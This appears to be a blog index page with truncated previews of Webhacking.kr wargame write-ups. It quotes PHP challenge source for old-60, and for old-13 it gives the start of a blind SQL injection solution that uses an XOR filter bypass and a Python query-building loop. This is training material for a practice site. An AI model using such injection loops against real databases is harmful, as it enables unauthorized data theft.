write-up(web)
[Webhacking.kr] Challenge old-60 write-up
"; if(!is_numeric($_COOKIE['PHPSESSID'])) exit("Access Deniedview-source"); sleep(1); if($_GET['mode']=="auth"){ echo("Auth~"); $result = file_get_contents("./readme/{$_SESSION['idx']}.txt"); if(preg_match("/{$_SESSION['idx']}/",$result)){ echo("Done!"); unlink("./readme/{$_SESSION['idx']}.txt"); solve(60); exit(); } } $p = fopen("./readme/{$_SESSION['idx']}...
![[Webhacking.kr] Challenge old-13 write-up](https://img1.daumcdn.net/thumb/R750x0/?scode=mtistory2&fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdna%2FMtoFS%2Fbtr5Tm4gnsg%2FAAAAAAAAAAAAAAAAAAAAAHV4IRYWX5hzUX8gGGqqmPu6i6ZpP1dDDMsG6OVetWBA%2Fimg.png%3Fcredential%3DyqXZFxpELC7KVnFOS48ylbz2pIh7yKj8%26expires%3D1756652399%26allow_ip%3D%26allow_referer%3D%26signature%3DmS7ukhgWuh19pBin7e2KZJrWMKU%253D)
[Webhacking.kr] Challenge old-13 write-up
sql injection 문제입니다. 1을 입력하면 1이 뜨고 그 외에는 0을 출력해주므로 blind sql injection임을 알 수 있습니다. 필터링되지 않는 문자들을 직접 찾아서 활용해야 합니다. 비트 연산자 중 ^(XOR) 연산자를 필터링하지 않습니다. 먼저 데이터베이스를 구해줍니다. XOR 연산에서 원하는 값을 구하기 위해 간단한 함수를 구현했습니다. def calc(num): if num % 2 == 0: return num + 1 else: return num - 1 db 이름 길이를 찾아줍니다. db_length = 0 while True: db_length += 1 query = f'?no=(length(database())^{db_length})' print(db_length, end..